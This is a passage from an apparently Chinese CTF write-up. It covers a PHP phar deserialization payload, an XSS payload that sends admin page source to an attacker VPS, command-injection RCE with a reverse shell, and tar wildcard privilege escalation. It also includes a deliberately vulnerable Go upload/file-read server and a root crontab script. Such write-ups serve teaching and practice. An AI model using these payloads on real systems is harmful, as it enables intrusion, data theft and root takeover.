$o1 = new C1e4r($o2);
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o1);
$phar->addFromString("f1ag.php", "test");
$phar->stopBuffering();
然后上传,md5一下文件名+IP,phar协议文件包含读flag就ok了
有趣的邮箱注册
这道题的提权部分还帮了我大忙,我把它的通配符提权拿出来写了个http server用在周五的讲课上了
进入题目知道是ssrf
,需要绕过邮箱的验证:
"[xss payload]"@null.com
然后读源码:
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps:4444/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","admin.php",true);
xmlhttp.send();
发现是个RCE:
href="admin/a0a.php?cmd=whoami"
然后反弹一个shell到VPS:
echo [payload base64] | base64 -d > /tmp/shell.sh
?cmd=/bin/bash /tmp/shell.sh
接着会发现根目录下的flag文件权限为400
,所有者为flag,接着能够在web目录发现一个目录,里面有一个文件上传,且有tar的备份,利用tar指令的--checkpoint-action
参数结合通配符完成提权
Linux通配符 + tar指令提权复现靶机环境地址:https://github.com/EddieIvan01/Tar-Vuln-server
Server代码:
package main
import (
"io"
"io/ioutil"
"log"
"os"
"os/exec"
"github.com/gin-gonic/gin"
)
func index_get(ctx *gin.Context) {
cmd := exec.Command("ls")
result, _ := cmd.Output()
ctx.HTML(200, "index.html", string(result))
}
func index_post(ctx *gin.Context) {
file, _ := ctx.FormFile("file")
file_content, _ := file.Open()
defer file_content.Close()
filename := file.Filename
fp, _ := os.Create(filename)
defer fp.Close()
_, err := io.Copy(fp, file_content)
if err != nil {
log.Println(err.Error())
}
}
func read_file(ctx *gin.Context) {
filename, _ := ctx.GetQuery("file")
log.Println(filename)
content, err := ioutil.ReadFile(filename)
if err != nil {
log.Println(err.Error())
}
ctx.String(200, "%s", content)
}
func main() {
router := gin.Default()
router.LoadHTMLGlob("templates/*")
router.GET("/", index_get)
router.POST("/", index_post)
router.GET("/readfile", read_file)
router.Run(":2333")
}
root
用户执行的crontab.sh
:
#!/bin/bash
while true
do
tar -zcf 1.tgz *
sleep 60
done
本来想直接用crontab
来定时备份的,但后来发现加入绝对路径后就崩了,所以Linux通配符提权那篇文章里写的可能是想当然了,因为tar -zcf /xx/xx.tgz /xxx/*
通配符扩展后为tar -zcf /xx/xx.tgz /xxx/--checkpoint=1
,当然是不正确的,所以可能需要某种方式设置crontab
的执行目录